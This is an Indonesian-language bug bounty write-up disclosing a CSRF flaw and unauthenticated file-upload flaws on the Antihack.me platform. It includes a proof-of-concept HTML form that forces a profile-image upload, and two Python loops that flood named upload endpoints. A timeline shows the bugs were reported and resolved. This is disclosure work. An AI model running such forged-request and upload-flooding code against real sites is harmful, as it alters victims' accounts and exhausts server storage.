Antihack.me CSRF And Arbitrary File Upload

Introduction

Antihack.me merupakan sebuah website Bug Bounty Platform asal singapura. Setelah mendaftarkan user baru dan berhasil login ke aplikasi, disana terdapat banyak fitur seperti platform-platform bug bounty lainnya, seperti fitur list program, submit report, dan lain sebagainya, termasuk juga dapat mengatur profile kita sebagai bug hunter.

CSRF Vulnerability

Cross-site Request Forgery (CSRF) atau bisa disebut dengan one-click attack adalah sebuah serangan yang menggunakan injeksi script baik itu berupa kode javascript, link, atau gambar dengan memanfaatkan token autentikasi.

Disebut one-click attack karena metode ini hanya perlu pemicu dari user dan pemicunya bisa berupa link yang sudah dimaipulasi untuk mengeksekusi perintah.

Nah secara umum CSRF ini bekerja dengan memanfaatkan token autentikasi korbannya dengan tujuan melakukan suatu request yang tidak dinginkan oleh korban. Disini terlihat perbedaan antara CSRF dan Phising, Phising menggunakan url samaran untuk menipu korbannya yang seakan - akan menyerupai website resminya sedangkan CSRF korban akan dibawa kesebuah website yang baginya menarik dan oleh hacker website tersebut akan diinject dengan script jahat. source

CSFR On Profile Image File Upload

Tertarik dengan fitur upload imagenya, kita coba intercept request upload image tersebut.

Terlihat disana beberapa parameter yang dikirimkan, akan tetapi disana tidak ada csrf protection, artinya kita dapat memanfaatkan celah ini untuk merubah foto profile orang lain dengan malicious file/script.

Malucious file html:

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>CSRF File Upload</title>
</head>
<body>
	<form action="https://www.antihack.me/php/img_save_to_file_hacker.php" method="POST" name="csrf" enctype="multipart/form-data">
		<input type="file" name="img">
		<input name="HOST" value="AntiHACK">
		<input type="submit" value="Kirim">
	</form>
</body>
</html>

Lalu kita coba akses secript diatas di browser dan didapatkan file berhasil diupload dengan baik, artinya jika orang lain yang sedang login ke platform lalu mengakses malicious file tersebut maka secara otomatis foto profile nya akan berubah :)

Arbitrary File Upload #1

Biasanya disebut sebagai “Arbitrary File Upload”, seorang attacker dapat mengakses fungsi upload tertentu pada aplikasi tanpa proses autentikasi yang benar. Meski tidak dijelaskan secara khusus oleh CWE, secara tidak langsung disebut melalui CWE-862 “Missing Authorization”(Mitre, 2015). Arbitrary File Upload dapat berimpact remote DOS (Denial Of Service), unauthecticated user dapat membanjiri storage server. Kerentanan ini biasanya disebabkan oleh tidak adanya pengecekan otorisasi yang benar. Source : SANS

Pada kasus CSRF pada foto profile diatas ternyata juga terdapat celah Arbitary File Upload, dimana dengan script python dibawah ini kita dapat membanjiri server dengan gambar sampah tanpa proses autentikasi :

#!/usr/bin/python3

import requests

headers = {
    'Origin':'www.antihack.me'
}
files = {
        'img': open("/home/zetc0de/Documents/antihack/antihack/csrf/security.png", 'rb') 
        }
data = {
    "HOST":"AntiHACK"
}

for i in range(3):
    r = requests.post("https://www.antihack.me/php/img_save_to_file_hacker.php",files=files, headers=headers, data=data)
    print(r.text)

Ketika dieksekusi, file terupload dengan baik.

Arbitrary File Upload #2

Sepertihalnya platform bug bounty pada umumnya, disana terdapat fitur untuk melakukan reporting terkait celah keamanan yang ditemukan. Didalam fitur reporting tersebut terdapat beberapa fungsi editing, tak lupa fungsi upload file gambar/video juga disertakan guna kelengkapan report.

Dengan script python dibawah ini kita juga dapat membanjiri server dengan gambar sampah tanpa proses autentikasi :

#!/usr/bin/python3

import requests


files = {
        'files[]': open("/home/zetc0de/Documents/antihack/antihack/csrf/security.png", 'rb') 
        }

for i in range(5):
	r = requests.post("https://www.antihack.me/php/ajax_upload_file_company_new.php",files=files)
	print(r.text)


Didapatkan result sebagai berikut:

Semoga bermanfaat :”

2018-12-28: Bug reported
2018-12-29: Triaged
2019-01-09: Report Resolved
2019-01-09: Swag Rewarded